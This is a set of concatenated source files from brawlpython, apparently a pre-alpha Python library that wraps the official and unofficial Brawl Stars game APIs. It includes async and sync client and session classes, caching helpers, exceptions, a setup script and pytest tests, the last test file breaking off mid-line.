"rearrange_params", "_rearrange_args", "rearrange_args", "multiparams", "add_api_name") def default_headers() -> STRDICT: return { "dnt": "1", "user-agent": f"{__name__}/{__version__} (Python {sys.version[:5]})", "accept-encoding": ", ".join(("gzip", "deflate")), "cache-control": "no-cache", "pragma": "no-cache", # "content-encoding": "utf-8", } def make_headers(api_key: str) -> STRDICT: return {"authorization": f"Bearer {api_key}"} def isliterals(obj): return isinstance(obj, (str, ByteString)) def iscollection(obj): return isinstance(obj, Collection) def issized(obj): return isinstance(obj, Sized) def isunit(obj): return issized(obj) and len(obj) == 1 def isempty(obj): return issized(obj) and len(obj) == 0 def ismapping(obj): return isinstance(obj, Mapping) def isrequiredcollection(obj): return ( iscollection(obj) and not isliterals(obj) and not ismapping(obj) and not isempty(obj)) def same(elements): return len(elements) == elements.count(elements[0]) def unique(x): seen = list() return not any(i in seen or seen.append(i) for i in x) def prepare_param(param, lengths): if isrequiredcollection(param): if isunit(param): return ("u", param[0]) else: lengths.append(len(param)) return ("m", iter(param)) else: return ("u", param) def check_params(args, kwargs): lengths = [] args = [prepare_param(param, lengths) for param in args] kwargs = { key: prepare_param(param, lengths) for key, param in kwargs.items()} if len(lengths) < 1: total_length = 1 else: if not same(lengths): raise ValueError( "All allowed iterable parameters must be of the same length.") total_length = lengths[0] return args, kwargs, total_length def _rearrange_params(args, kwargs): new_args, new_kwargs, length = check_params(args[:], kwargs.copy()) for _ in range(length): current_args = [] for (kind, val) in new_args: if kind == "m": val = next(val) current_args.append(val) current_kwargs = {} for key, (kind, val) in new_kwargs.items(): if kind == "m": val = next(val) current_kwargs[key] = val yield tuple(current_args), current_kwargs def rearrange_params(*args, **kwargs): return _rearrange_params(args, kwargs) def _rearrange_args(args): for a, kw in _rearrange_params(args, {}): yield a def rearrange_args(*args): return _rearrange_args(args) def multiparams(func): if iscorofunc(func): async def wrapper(*args, **kwargs): params = _rearrange_params(args, kwargs) tasks = [ensure(func(*a, **kw)) for a, kw in params] return await gather(*tasks) else: def wrapper(*args, **kwargs): params = _rearrange_params(args, kwargs) return [func(*a, **kw) for a, kw in params] return update_wrapper(wrapper, func) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from collections import OrderedDict, defaultdict from reprlib import recursive_repr from types import TracebackType from typing import Any, Optional, Type, TypeVar, Collection __all__ = ( "AsyncInitObject", "AsyncWith", "SyncWith", "DefaultOrderedDict", "Mode") # SEE: https://stackoverflow.com/questions/33128325#45364670 class AsyncInitObject(object): # Inheriting this class allows you to define an async __init__. # So you can create objects by doing something like `await MyClass(params)` async def __new__(cls, *args, **kwargs) -> "AsyncInitObject": instance = super().__new__(cls) await instance.__init__(*args, **kwargs) return instance async def __init__(self): # the method must be overridden, therefore it does not need annotations pass class AsyncWith(object): def __enter__(self) -> None: raise TypeError("Use `async with` instead") def __exit__(self, exc_type: Optional[Type[BaseException]], exc_val: Optional[BaseException], exc_tb: Optional[TracebackType]) -> None: # __exit__ should exist in pair with __enter__ but never executed pass async def __aenter__(self) -> "AsyncWith": return self async def __aexit__(self, exc_type: Optional[Type[BaseException]], exc_val: Optional[BaseException], exc_tb: Optional[TracebackType]) -> None: await self.close() async def close(self): self.test_close = True class SyncWith(object): def __enter__(self) -> "SyncWith": return self def __exit__(self, exc_type: Optional[Type[BaseException]], exc_val: Optional[BaseException], exc_tb: Optional[TracebackType]) -> None: self.close() async def __aenter__(self) -> None: raise TypeError("Use `with` instead") async def __aexit__(self, exc_type: Optional[Type[BaseException]], exc_val: Optional[BaseException], exc_tb: Optional[TracebackType]) -> None: # __aexit__ should exist in pair with __aenter__ but never executed pass def close(self): self.test_close = True # a reworked version from this answer: # SEE: https://stackoverflow.com/questions/6190331#6190500 class DefaultOrderedDict(OrderedDict): def __init__(self, default_factory=None, *a, **kw): if default_factory is not None and not callable(default_factory): raise TypeError('first argument must be callable') super().__init__(*a, **kw) self.default_factory = default_factory def __missing__(self, key): if self.default_factory is None: raise KeyError(key) self[key] = value = self.default_factory() return value @recursive_repr() def __repr__(self): return '%s(%r, %r)' % ( self.__class__.__name__, self.default_factory, list(self.items())) def __reduce__(self): args = () if self.default_factory is not None: args = (self.default_factory,) inst_dict = vars(self).copy() for k in vars(DefaultOrderedDict()): inst_dict.pop(k, None) return self.__class__, args, inst_dict or None, None, \ iter(self.items()) def __copy__(self): return self.__class__(self.default_factory, self) def copy(self): return self.__copy__() class Mode(object): __slots__ = "modes", "mode" def __init__(self, modes: Collection[str], mode: Optional[str] = None) -> None: self.modes = modes if mode is None: self.mode, *_ = modes else: self.mode = None self.__set__(None, mode) def __get__(self, obj, objtype=None) -> str: if obj is None: return self return self.mode def __set__(self, obj, value) -> None: if value in self.modes: self.mode = value else: raise ValueError(f"mode must be one of {self.modes}") class RetryCollectorWithModes: def __init__(self, modes: Collection[str], mode: Optional[str] = None) -> None: self.modes = modes if mode is None: self.mode, *_ = modes else: self.mode = mode self.retry = [] def get_mode(self): self._mode def set_mode(self, value): if value in self.modes: self._mode = value else: raise ValueError(f"mode must be one of {self.modes}") mode = property(get_mode, set_mode) def get_retry(self, parameter_list): pass --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import asyncio from cachetools import keys, Cache from functools import wraps, partial, update_wrapper __all__ = ( "NaN", "async_cachedmethod", "cachedmethod", "iscorofunc", "get_decorator", "somecachedmethod") class NaN: "NaN" pass def async_cachedmethod(key=keys.hashkey, lock=None): """Decorator to wrap a class or instance method with a memoizing callable that saves results in a cache. """ def decorator(method): if lock is None: async def wrapper(self, *args, **kwargs): k = key(*args, **kwargs) cache = self.cache get_k = cache.get(k, NaN) if get_k != NaN: return get_k v = await method(self, *args, **kwargs) try: cache[k] = v except ValueError: pass # value too large return v else: async def wrapper(self, *args, **kwargs): k = key(*args, **kwargs) cache = self.cache with lock(self): get_k = cache.get(k, NaN) if get_k != NaN: return get_k v = await method(self, *args, **kwargs) try: with lock(self): cache[k] = v except ValueError: pass # value too large return v return update_wrapper(wrapper, method) return decorator def cachedmethod(key=keys.hashkey, lock=None): """Decorator to wrap a class or instance method with a memoizing callable that saves results in a cache. """ def decorator(method): if lock is None: def wrapper(self, *args, **kwargs): k = key(*args, **kwargs) cache = self.cache get_k = cache.get(k, NaN) if get_k != NaN: return get_k v = method(self, *args, **kwargs) try: cache[k] = v except ValueError: pass # value too large return v else: def wrapper(self, *args, **kwargs): k = key(*args, **kwargs) cache = self.cache with lock(self): get_k = cache.get(k, NaN) if get_k != NaN: return get_k v = method(self, *args, **kwargs) try: with lock(self): cache[k] = v except ValueError: pass # value too large return v return update_wrapper(wrapper, method) return decorator def halfcachedmethod(func): def wrapper(self, *args, **kwargs): self._k = key(*args, **kwargs) get_k = self.cache.get(self._k, NaN) if get_k != NaN: return get_k return method(self, *args, **kwargs) def async_halfcachedmethod(func): def wrapper(self, *args, **kwargs): self._k = key(*args, **kwargs) get_k = self.cache.get(self._k, NaN) if get_k != NaN: return get_k return method(self, *args, **kwargs) def iscorofunc(func): return asyncio.iscoroutinefunction(func) def iscoro(func): return asyncio.iscoroutine(func) def get_decorator(func): if iscorofunc(func): return async_cachedmethod else: return cachedmethod def somecachedmethod(func): # key = partial(keys.hashkey, func.__name__) return get_decorator(func)()(func) # key=key --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import asyncio from .api import ( default_api_dict, API, KINDS, KIND_VALS, KIND_KEYS, OFFIC, CHI, STAR, OFFICS, UNOFFICS, ) from .api_toolkit import rearrange_params, _rearrange_args from .base_classes import AsyncInitObject, AsyncWith, SyncWith from .cache_utils import iscorofunc from .sessions import AsyncSession, SyncSession from configparser import ConfigParser from functools import update_wrapper from types import TracebackType from typing import ( Any, Callable, Coroutine, Dict, Generator, Iterable, Generic, List, Mapping, Optional, Sequence, Set, Tuple, Type, TypeVar, Union, ) from .typedefs import (STRS, JSONSEQ, JSONS, HANDLER, NUMBER, INTSTR, BOOLS, STRDICT, AKW) import time __all__ = ( "AsyncClient", "SyncClient", "offic_gets_handler", "star_gets_handler", "gets_handler") COLLECT = "collect" RELEASE = "release" DEFAULT = "default" def offic_gets_handler(data_list: JSONSEQ) -> JSONSEQ: results = [] for data in data_list: get_items = data.get("items") if get_items is not None and isinstance(get_items, list): results.append(get_items) else: results.append(data) return results def star_gets_handler(data_list: JSONSEQ) -> JSONSEQ: results = [] for data in data_list: data.pop("status", None) if len(data) == 1: results += list(data.values()) else: results.append(data) return results def gets_handler(self, data_list: JSONSEQ) -> JSONSEQ: name = self._current_api if name in OFFICS: res = offic_gets_handler(data_list) elif name == STAR: res = star_gets_handler(data_list) else: res = data_list if self._return_unit and len(res) == 1: return res[0] return res def _find_save(self, kind: str, match: INTSTR, parameter: str = None) -> Optional[JSONS]: collectable = self._saves[kind] count = len(collectable) if isinstance(match, int): if -count <= match < count: return collectable[match] elif isinstance(match, str): match = match.upper() if parameter is None: for part in collectable: if match in part.values(): return part else: for part in collectable: if part.get(parameter) == match: return part return None # returns explicitly def _rankings(self, kind: str, api: str, key: Optional[INTSTR] = None, code: str = "global", limit: INTSTR = 200) -> JSONS: if kind in KIND_KEYS: kind = KINDS[kind] if kind == KINDS["b"]: if key is None: raise ValueError( "If the kind is b or brawlers, the key must be entered") brawler = self.find_save("b", key) if brawler is not None: key = brawler["id"] elif kind == KINDS["ps"]: if key is None: key = -1 powerplay = self.find_save("ps", key) if powerplay is not None: key = powerplay["id"] if key is None: key = "" return ("rankings",), {"code": code, "kind": kind, "id": key, "limit": limit} def get_and_apply_api_keys(filename: str, section: str, api_dict: Dict[str, API]) -> None: if filename.endswith(".env"): raise ValueError("this file extension is not accepted") # if filename.endswith(".ini"): config = ConfigParser() config.read(filename) config = config[section] for name, api in api_dict.items(): if name in OFFICS: name = OFFIC api_key = config.get(name + "_api_key") api.set_api_key(api_key) class AsyncClient(AsyncInitObject, AsyncWith): _gets_handler = gets_handler async def __init__( self, # api_keys: Union[str, STRDICT], config_file_name: str = "config.ini", section: str = "DEFAULT", api_dict: Dict[str, API] = {}, default_api: str = OFFIC, return_unit: bool = True, min_update_time: NUMBER = 60 * 10, data_handler: HANDLER = gets_handler, trust_env: bool = True, cache_ttl: NUMBER = 60, cache_limit: int = 1024, use_cache: bool = True, timeout: NUMBER = 30, repeat_failed: int = 3) -> None: self.session = await AsyncSession( trust_env=trust_env, cache_ttl=cache_ttl, cache_limit=cache_limit, use_cache=use_cache, timeout=timeout, repeat_failed=repeat_failed) self.api_dict = {**default_api_dict, **api_dict} get_and_apply_api_keys(config_file_name, section, self.api_dict) self._current_api = self._default_api = default_api self._return_unit = return_unit self._gets_handler = data_handler self._requests = [] self._mode = DEFAULT self._saves = {} self._min_update_time = min_update_time await self.update_saves(True) async def close(self) -> None: """Close session""" await self.session.close() @property def closed(self) -> bool: """Is client session closed. A readonly property. """ return self.session.closed async def _gets(self, *args) -> JSONSEQ: # not_collect = resps = await self.session.gets(*args) if self.session.mode != COLLECT: return self._gets_handler(resps) if self.session.mode == RELEASE: return resps # None def _get_api(self, api: str): return self.api_dict[api] async def _fetchs(self, paths: STRS, api_names: str, from_json: BOOLS = True, rearrange: bool = True, **kwargs) -> JSONS: if rearrange: urls = [] headers = [] pars = rearrange_params(api_names, paths, **kwargs) for (api_name, *a), kw in pars: api = self._get_api(api_name) urls.append(api.make_url(*a, **kw)) headers.append( (api.headers)) # self.session.headers_handler else: api = self._get_api(api_names) urls = api.make_url(paths, **kwargs) headers = self.session.headers_handler(api.headers) return await self._gets(urls, from_json, headers) def collect(self): self.session.collect() async def release(self): return self._gets_handler(await self.session.release()) # @add_api_name(None) async def test_fetch(self, *args, **kwargs): return await self._fetchs(*args, **kwargs) async def players(self, tag: str, api: str = OFFIC) -> JSONS: return await self._fetchs("players", api, tag=tag) async def battlelog(self, tag: str, api: str = OFFIC) -> JSONS: return await self._fetchs("battlelog", api, tag=tag) async def clubs(self, tag: str, api: str = OFFIC) -> JSONS: return await self._fetchs("clubs", api, tag=tag) async def members(self, tag: str, limit: INTSTR = 100, api: str = OFFIC) -> JSONS: return await self._fetchs("members", api, tag=tag, limit=limit) async def rankings(self, kind: str, key: Optional[INTSTR] = None, code: str = "global", limit: INTSTR = 200, api: str = OFFIC) -> JSONS: pars = rearrange_params(kind, api, key=key, code=code, limit=limit) self.collect() for args, kwargs in pars: a, kw = _rankings(self, *args, **kwargs) await self._fetchs(*a, rearrange=False, **kw) return await self.release() async def brawlers(self, id: INTSTR = "", limit: Optional[INTSTR] = None, api: str = OFFIC) -> JSONS: return await self._fetchs("brawlers", api, id=id, limit=limit) async def powerplay(self, code: str = "global", limit: int = 200, api: str = OFFIC) -> JSONS: return await self._fetchs("rankings", api, code=code, limit=limit, kind=KINDS["ps"]) async def events(self, api: str = STAR) -> JSONS: return await self._fetchs("events", api) async def icons(self, api: str = STAR) -> JSONS: return await self._fetchs("icons", api) async def maps(self, id: INTSTR = "", api: str = STAR) -> JSONS: return await self._fetchs("maps", api, id=id) async def gamemodes(self, api: str = STAR) -> JSONS: return await self._fetchs("gamemodes", api) async def clublog(self, tag: str, api: str = STAR) -> JSONS: return await self._fetchs("clublog", api, tag=tag) async def translations(self, code: str = "", api: str = STAR) -> JSONS: return await self._fetchs("translations", api, code=code) # TODO: api rearrange async def update_saves(self, now: bool = False, api: str = OFFIC) -> None: if now or time.time() - self._last_update >= self._min_update_time: self.collect() await self.brawlers(api=api) await self.powerplay(api=api) b, ps = await self.release() self._saves.update({"b": b, "ps": ps}) self._last_update = time.time() find_save = _find_save class SyncClient(SyncWith): def __init__( self, api_keys: Union[str, STRDICT], api_dict: Dict[str, API] = {}, # default_api: str = OFFIC, return_unit: bool = True, min_update_time: NUMBER = 60 * 10, data_handler: HANDLER = gets_handler, trust_env: bool = True, cache_ttl: NUMBER = 60, cache_limit: int = 1024, use_cache: bool = True, timeout: NUMBER = 30, repeat_failed: int = 3) -> None: self.session = SyncSession( trust_env=trust_env, cache_ttl=cache_ttl, cache_limit=cache_limit, use_cache=use_cache, timeout=timeout, repeat_failed=repeat_failed ) self.api_dict = {**default_api_dict, **api_dict} # self._current_api = self._default_api = default_api if isinstance(api_keys, str): self.api_dict[default_api].set_api_key(api_keys) else: for name, api_key in api_keys.items(): self.api_dict[name].set_api_key(api_key) self._return_unit = return_unit self._gets_handler = data_handler self._saves = {} self._min_update_time = min_update_time self.update_saves(True) def close(self) -> None: """Close session""" self.session.close() @property def closed(self) -> bool: """Is client session closed. A readonly property. """ return self.session.closed def _gets(self, *args: Any, **kwargs: Any) -> JSONSEQ: resps = self.session.gets(*args, **kwargs) return self._gets_handler(self, resps) def _get_api(self): if self._current_api is None: self._current_api = self._default_api return self.api_dict[self._current_api] def _fetch(self, path: str, from_json: bool = True, **kwargs: Any) -> JSONS: api = self._get_api() return self._gets( api.get(path, **kwargs), headers=api.headers, from_json=from_json) def _fetchs(self, paths: Union[STRS, AKW], from_json: BOOLS = True, rearrange: bool = True, **kwargs: Any) -> JSONS: api = self._get_api() if rearrange: pars = rearrange_params(paths, **kwargs) else: pars = paths urls = [api.get(*a, **kw) for a, kw in pars] return self._gets(urls, headers=api.headers, from_json=from_json) # @add_api_name(None) def test_fetch(self, *args, **kwargs): return self._fetchs(*args, **kwargs) # @add_api_name(OFFIC) def players(self, tag: str) -> JSONS: return self._fetchs("players", tag=tag) # @add_api_name(OFFIC) def battlelog(self, tag: str) -> JSONS: return self._fetchs("battlelog", tag=tag) # @add_api_name(OFFIC) def clubs(self, tag: str) -> JSONS: return self._fetchs("clubs", tag=tag) # @add_api_name(OFFIC) def members(self, tag: str, limit: INTSTR = 100) -> JSONS: return self._fetchs("members", tag=tag, limit=limit) # @add_api_name(OFFIC) def rankings(self, kind: str, key: Optional[INTSTR] = None, code: str = "global", limit: INTSTR = 200) -> JSONS: pars = rearrange_params( kind, key=key, code=code, limit=limit) return self._fetchs( [_rankings(self, *a, **kw) for a, kw in pars], rearrange=False) # @add_api_name(OFFIC) def brawlers(self, id: INTSTR = "", limit: INTSTR = "") -> JSONS: return self._fetchs("brawlers", id=id, limit=limit) # @add_api_name(OFFIC) def powerplay(self, code: str = "global", limit: int = 200) -> JSONS: return self._fetchs("rankings", code=code, limit=limit, kind=KINDS["ps"], id="") # @add_api_name(STAR) def events(self) -> JSONS: return self._fetchs("events") # @add_api_name(STAR) def icons(self) -> JSONS: return self._fetchs("icons") # @add_api_name(STAR) async def maps(self, id: INTSTR = "") -> JSONS: return self._fetchs("maps", id=id) # @add_api_name(STAR) def gamemodes(self) -> JSONS: return self._fetchs("gamemodes") # @add_api_name(STAR) def clublog(self, tag: str) -> JSONS: return self._fetchs("clublog", tag=tag) # @add_api_name(STAR) def translations(self, code: str = "") -> JSONS: return self._fetchs("translations", code=code) # @add_api_name(OFFIC) def update_saves(self, now: bool = False) -> None: if now or time.time() - self._last_update >= self._min_update_time: self._saves.update({ "b": self.brawlers(api=self._current_api), "ps": self.powerplay(api=self._current_api) }) self._last_update = time.time() find_save = _find_save --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from typing import Any __all__ = ( "ClientException", "ClientResponseError", "UnexpectedResponseCode", "BadRequest", "Forbidden", "NotFound", "TooManyRequests", "InternalServerError", "ServiceUnavailable", "WITH_CODE") class ClientException(Exception): """Base class for all client exceptions.""" class ClientResponseError(ClientException): """Connection error during reading response.""" def __init__(self, url: str, reason: str = "without a reason", message: str = "no message"): self.url = url self.reason = reason self.message = message self.cause = "because " if reason != "without a reason" else "" def __repr__(self): return ( "{0.__class__.__name__}({0.url!r}, " "{0.reason!r}, {0.message!r})").format(self) def __str__(self): return ( "{0.url} -> {0.code}, {0.cause}" "{0.reason}, {0.message}").format(self) def __eq__(self, other): return ( (dir(self) == dir(other)) and (vars(self) == vars(other))) class UnexpectedResponseCode(ClientResponseError): """Occurs if the response code was not described in the official api documentation. """ def __init__(self, url: str, code: int, *args: Any, **kwargs: Any): self.code = code super().__init__(url, *args, **kwargs) def __repr__(self): return ( "{0.__class__.__name__}({0.url!r}, {0.code!r}, " "{0.reason!r}, {0.message!r})").format(self) class BadRequest(ClientResponseError): """Client provided incorrect parameters for the request.""" code = 400 class Forbidden(ClientResponseError): """Access denied, either because of missing/incorrect credentials or used API key/token does not grant access to the requested resource. """ code = 403 class NotFound(ClientResponseError): """Resource was not found.""" code = 404 class TooManyRequests(ClientResponseError): """Request was throttled, because amount of requests was above the threshold defined for the used API key/token. """ code = 429 class InternalServerError(ClientResponseError): """Unknown error happened when handling the request.""" code = 500 class ServiceUnavailable(ClientResponseError): """Service is temprorarily unavailable because of maintenance.""" code = 503 WITH_CODE = [ BadRequest, Forbidden, NotFound, TooManyRequests, InternalServerError, ServiceUnavailable ] --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from aiohttp import ClientSession, TCPConnector, ClientTimeout import asyncio from asyncio import ensure_future as ensure, gather from cachetools import TTLCache from collections import defaultdict, OrderedDict from concurrent.futures import ThreadPoolExecutor from functools import update_wrapper, partial from requests import Session from .api_toolkit import ( default_headers, isrequiredcollection, multiparams, rearrange_params, rearrange_args, isliterals) from .base_classes import (AsyncInitObject, AsyncWith, SyncWith, DefaultOrderedDict, Mode) from .cache_utils import somecachedmethod, iscorofunc, NaN from .exceptions import WITH_CODE, UnexpectedResponseCode from .typedefs import (STRS, JSONSEQ, JSONTYPE, JSONS, ARGS, NUMBER, BOOLS, STRJSON, AKW, STRBYTE) from typing import ( Any, Callable, Coroutine, Dict, Generator, Generic, Iterable, List, Mapping, Optional, Set, Tuple, Type, TypeVar, Union, ) try: import orjson as json except ImportError: try: import ujson as json except ImportError: import json # from unicodedata import normalize # "NFKC" or "NFKD" __all__ = ( "AsyncSession", "SyncSession") # FIXME: in both functions I need to find a suitable cache_limit # 1024 is a relatively random choice and # has nothing to do with the desired behavior retry_end = RuntimeError( "self._attempts argument was changed" " causing it to work incorrectly") not_scheduled = RuntimeError( "scheduled function calls with these parameters have" " already been executed, this call is not scheduled") COLLECT = "collect" RELEASE = "release" DEFAULT = "default" MODES = (DEFAULT, COLLECT, RELEASE) def _raise_for_status(self, url: str, code: int, data: Union[JSONTYPE, str]) -> None: if isinstance(data, str): reason = "without a reason" message = data if len(data) > 0 else "no message" else: reason = data.get("reason", "without a reason") message = data.get("message", "no message") excp = next(filter(lambda x: x.code == code, WITH_CODE), None) if excp is not None: raise excp(url, reason, message) else: raise UnexpectedResponseCode(url, code, reason, message) def _headers_handler(self, headers: JSONS) -> STRBYTE: # TODO: use self._headers_dumps to not dumps twice if isrequiredcollection(headers): res = [] for hdrs in headers: dumps = json.dumps(hdrs) res.append(dumps) self._headers_dumps[dumps] = hdrs return res elif isliterals(headers): self._headers_dumps[headers] = json.loads(headers) return headers else: dumps = json.dumps(headers) self._headers_dumps[dumps] = headers return dumps def loads_json(data: str, from_json: bool = True) -> STRJSON: if from_json: try: data = json.loads(data) except json.JSONDecodeError: pass return data class AsyncSession(AsyncInitObject, AsyncWith): async def __init__(self, trust_env: bool = True, cache_ttl: NUMBER = 60, cache_limit: int = 1024, use_cache: bool = True, timeout: NUMBER = 30, repeat_failed: int = 3) -> None: headers = default_headers() loop = asyncio.get_event_loop() self.session = ClientSession( loop=loop, connector=TCPConnector(use_dns_cache=False, loop=loop), trust_env=trust_env, headers=headers, timeout=ClientTimeout(total=timeout), ) if use_cache: self._cache = TTLCache(maxsize=cache_limit, ttl=cache_ttl) self._current_get = self._basic_cached_get else: # self._cache = None self._current_get = self._basic_get self._cached = use_cache if repeat_failed < 0: repeat_failed = 0 self._attempts = range(repeat_failed, -1, -1) # self._retry = [] self._headers_dumps = {} self._init_pars = DefaultOrderedDict(list) self._debug = False self.mode = Mode(MODES) self.collects = ((self.mode, [])) async def close(self) -> None: """Close underlying connector. Release all acquired resources. """ if not self.closed: # SEE: https://github.com/aio-libs/aiohttp/issues/1925 # https://docs.aiohttp.org/en/stable/client_advanced.html#graceful-shutdown await self.session.close() await asyncio.sleep(0.300) @property def closed(self) -> bool: """Is client session closed. A readonly property. """ return self.session.closed def collect(self): self.mode = COLLECT async def release(self): self.mode = RELEASE try: result = await self._mode_dependent_get() finally: self.mode = DEFAULT return result raise_for_status = _raise_for_status headers_handler = _headers_handler @property def cached(self) -> bool: return self._cached async def _basic_get(self, url: str, headers: JSONTYPE) -> Tuple[int, str]: async with self.session.get(url, headers=headers) as response: code = response.status data = await response.text() return code, data async def _basic_cached_get(self, url: str, headers: JSONTYPE) -> Tuple[int, str]: get_key = self._cache.get(url, NaN) if get_key != NaN: return get_key value = await self._basic_get(url, headers) code, *_ = value if code == 200: try: self._cache[url] = value except ValueError: pass # value too large return value async def _verified_json_get(self, url: str, from_json: bool, headers: STRBYTE) -> None: args = (url, from_json, headers) headers = self._headers_dumps[headers] code, data = await self._current_get(url, headers) data = loads_json(data, from_json) if code != 200: if self._i == 0: self.raise_for_status(url, code, data) self._retry.append(args) else: arr = self._init_pars[args] if None in arr: arr[arr.index(None)] = data else: raise not_scheduled async def _params_get(self, params: Tuple[ARGS]) -> JSONSEQ: tasks = [ensure(self._verified_json_get(*a)) for a in params] await gather(*tasks) async def _extend_retry(self, params: Iterable[ARGS]) -> None: self._retry.extend(params) async def _retrying_get( self, in_params: Iterable[ARGS] = None) -> List[JSONTYPE]: if in_params is None: in_params = tuple(self._retry) else: in_params = tuple(in_params) await self._extend_retry(in_params) for a in self._retry: self._init_pars[a].append(None) for self._i in self._attempts: params = self._retry.copy() self._retry.clear() await self._params_get(params) if len(self._retry) == 0: res = [self._init_pars[key].pop(0) for key in in_params] for value in self._init_pars.values(): if len(value) != 0: raise RuntimeError( "not all parameters were used for the answer") self._init_pars.clear() return res self._init_pars.clear() self._retry.clear() raise retry_end async def _mode_dependent_get( self, params: Optional[Iterable[ARGS]] = None ) -> Optional[List[JSONTYPE]]: if self.mode == RELEASE: return await self._retrying_get() if params is None: raise ValueError( f"params must not be None if mode is not {RELEASE!r}") if self.mode == DEFAULT: self._init_pars.clear() self._retry.clear() return await self._retrying_get(params) if self.mode == COLLECT: await self._extend_retry(params) return None # async def get_params(self, params: Iterable[ARGS]) -> JSONSEQ: # return await self._retrying_get(params) async def gets(self, urls: STRS, from_json: BOOLS = True, headers: JSONS = {}) -> JSONSEQ: params = rearrange_args( urls, from_json, self.headers_handler(headers)) return await self._mode_dependent_get(params) class SyncSession(SyncWith): def __init__(self, trust_env: bool = True, cache_ttl: NUMBER = 60, cache_limit: int = 1024, use_cache: bool = True, timeout: NUMBER = 30, repeat_failed: int = 3) -> None: self._closed = False headers = default_headers() self.session = Session() self.session.trust_env = trust_env self.session.headers.update(headers) if use_cache: self._cache = TTLCache(maxsize=cache_limit, ttl=cache_ttl) else: self._cache = None self._cached = use_cache self.timeout = timeout if repeat_failed > 1: self._attempts = range(repeat_failed - 1, -1, -1) else: self._attempts = (0) self._last_reqs = [] self._last_urls = [] def close(self) -> None: """Closes all adapters and as such the session""" if not self.closed: self.session.close() self._closed = True @property def closed(self) -> bool: """Is client session closed. A readonly property. """ return self._closed raise_for_status = _raise_for_status @property def cached(self) -> bool: return self._cached def _simple_get( self, url: str, from_json: bool = True, headers: Iterable[Iterable[str]] = {}) -> Tuple[int, STRJSON]: with self.session.get( url, timeout=self.timeout, headers=dict(headers)) as response: code = response.status_code data = response.text if from_json: data = json.loads(data) return code, data #_get = retry_to_get_data(mix_all_gets(False)(_simple_get)) #_gets = retry_to_get_data(mix_all_gets(True)(_simple_get)) def get(self, url: str, from_json: bool = True, headers: JSONTYPE = {}) -> JSONTYPE: return self._get(url, from_json=from_json, headers=headers_handler(self, headers))[0] def gets(self, urls: STRS, from_json: BOOLS = True, headers: JSONS = {}) -> JSONSEQ: return self._gets(urls, from_json=from_json, headers=headers_handler(self, headers)) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from typing import ( Any, Callable, Coroutine, Dict, Generator, Generic, Iterable, List, Mapping, Optional, Sequence, Set, Tuple, Type, TypeVar, Union, ) __all__ = ( "JSONV", "JSONTYPE", "JSONSEQ", "STRS", "BOOLS", "JSONS", "HANDLER", "NUMBER", "INTSTR", "AKW", "STRBYTE") # SEE: https://github.com/python/typing/issues/182 JSONVALS = Union[str, int, float, bool, None, Dict[str, Any], List[Any]] JSONTYPE = Union[Dict[str, JSONVALS], List[JSONVALS]] JSONSEQ = Sequence[JSONTYPE] JSONS = Union[JSONTYPE, JSONSEQ] STRJSON = Union[str, JSONTYPE] STRDICT = Dict[str, str] # Tuple[] STRS = Union[Sequence[str], str] BOOLS = Union[Sequence[bool], bool] HANDLER = Callable[["AsyncClient", JSONSEQ], JSONSEQ] NUMBER = Union[int, float] INTSTR = Union[int, str] ARGS = Sequence[Any] AKW = Tuple[ARGS, Mapping[str, Any]] STRBYTE = Union[str, bytes] --- FILE SEPARATOR --- import asyncio from brawlpython import AsyncClient async def fetch(client): # get data and do something with it pass async def init(): async with await AsyncClient() as client: await fetch(client) asyncio.run(init()) --- FILE SEPARATOR --- from brawlpython import SyncClient def fetch(client): # get data and do something with it pass def init(): with SyncClient() as client: fetch(client) init() --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from brawlpython import __version__, __name__ from setuptools import find_packages, setup with open("README.md", "r") as file: long_description = file.read() with open("requirements/common.txt", "r") as file: requirements = [line.strip() for line in file] github_link = "https://github.com/0dminnimda/{0}".format(__name__) setup( name=__name__, version=__version__, description="Easy-to-configure library to use Official and other Brawl Stars API", long_description=long_description, long_description_content_type="text/markdown", author="0dminnimda", author_email="0dminnimda.contact@gmail.com", url=github_link, packages=find_packages(), classifiers=[ "Development Status :: 2 - Pre-Alpha", "Framework :: AsyncIO", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Topic :: Games/Entertainment :: Real Time Strategy", "Topic :: Internet :: WWW/HTTP :: Session", "Topic :: Utilities", "Typing :: Typed", ], license="MIT", keywords=[ "brawl stars, brawl stars api, brawlstars," "supercell, brawl, stars, api," "brawlpython, python, async, aiohttp, sync, requests," ], project_urls={ # "Documentation": "Coming soon", # "Funding": "Haven\'t done yet :(", "Say Thanks!": "https://saythanks.io/to/"\ "0dminnimda.contact%40gmail.com", # "Source": github_link, # as long as the `url` parameter does not differ from # `project_urls["Source"]`, the latter is meaningless "Bug tracker": github_link + "/issues", "Code examples": github_link + "/tree/master/examples", }, install_requires=requirements, python_requires="~=3.6", ) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import pytest def run(file_name=""): file_name = file_name.split("\\")[-1] # show cov only when testing all files add = [ "--cov=brawlpython", ] if file_name != "": add = [] pytest.main([ "tests/" + file_name, "-v", "-r fExP", "--show-capture=stdout", "--pycodestyle", ] + add) # cmd usage: # run from the root directory: """pytest tests/ -v -r fExP --show-capture=stdout --cov=brawlpython --pycodestyle""" if __name__ == "__main__": run() --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import asyncio from brawlpython import AsyncClient from brawlpython.api_toolkit import unique, same from brawlpython.cache_utils import iscoro from configobj import ConfigObj import pytest url_uuid = "http://httpbin.org/uuid" config = ConfigObj("config.ini") api_key = config["DEFAULT"].get("API_KEY") @pytest.fixture def factory(loop): client = None async def maker(*args, **kwargs): nonlocal client client = await AsyncClient(*args, **kwargs) return client yield maker if client is not None: loop.run_until_complete(client.close()) @pytest.fixture def client(factory, loop): return loop.run_until_complete(factory(api_key)) async def test_async_init(): client = AsyncClient(api_key) assert iscoro(client) assert isinstance(await client, AsyncClient) async def test_closing(client): assert not client.closed for _ in 1, 2: await client.close() assert client.closed async def no_test_cache(client): responses = [await client._get(url_uuid) for _ in range(2)] assert same(responses) await asyncio.sleep(2) assert await client._get(url_uuid) != 